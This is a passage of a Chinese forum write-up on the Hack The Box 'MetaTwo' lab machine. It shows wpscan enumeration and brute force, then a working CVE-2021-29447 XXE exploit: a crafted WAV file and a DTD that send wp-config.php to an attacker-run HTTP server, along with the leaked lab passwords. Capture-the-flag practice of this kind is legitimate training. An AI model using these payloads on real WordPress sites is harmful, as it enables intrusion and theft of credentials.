首页
社区
课程
招聘
[原创]hack the box metatwo
发表于: 2022-12-28 23:18 1223

[原创]hack the box metatwo

2022-12-28 23:18
1223

图片描述
首先开启一个机器得到靶机地址为10.10.11.186

使用nmap进行端口扫描
图片描述
发现开放了21,22,80三个端口
直接访问80端口发现跳转到metapress.htb于是进行hosts绑定
图片描述
图片描述
再次访问
图片描述
发现为一个wordpress的站点
目录扫描得到可访问的后台
http://metapress.htb/wp-login.php?loggedout=true&wp_lang=en_US
图片描述

使用wpscan扫描可以利用的漏洞发现不存在,进行用户名枚举
wpscan --url http://metapress.htb/ -e vp //枚举存在漏洞的插件
wpscan --url http://metapress.htb/ -e u //枚举用户名
图片描述
使用字典对这两个用户名进行爆破
wpscan --url http://metapress.htb/ --passwords /usr/share/wordlists/rockyou.txt --usernames manager,admin -t 100
成功得到manager用户的密码
Partylikearockstar
使用爆破出来的账号密码成功登录
图片描述

进过前面的信息收集发现该wordpress的版本为5.6.2存在xxe漏洞
利用xxe漏洞外带进行信息泄漏(可参考https://github.com/motikan2010/CVE-2021-29447)

1, 制作wav文件,内容如下
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.24:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> payload.wav

2, 制作evil.dtd文件(该文件名与1中标红部分请求的文件名一致)
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=//var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.24:8001/?p=%file;'>" >
图片描述
分别填入想要泄漏的文件名以及开启web服务的主机地址,

3, 开启web服务
Python3 -m http.server 8001

4, 登录系统上传制作好的payload.wav文件泄漏配置文件
图片描述
5, 开启的web服务成功获取到配置文件的base64编码的信息
图片描述
D9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAq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MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==
进行解码得到ftp的账号及密码
图片描述
metapress.htb/9NYS_ii@FyL_p5M2NvJ


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//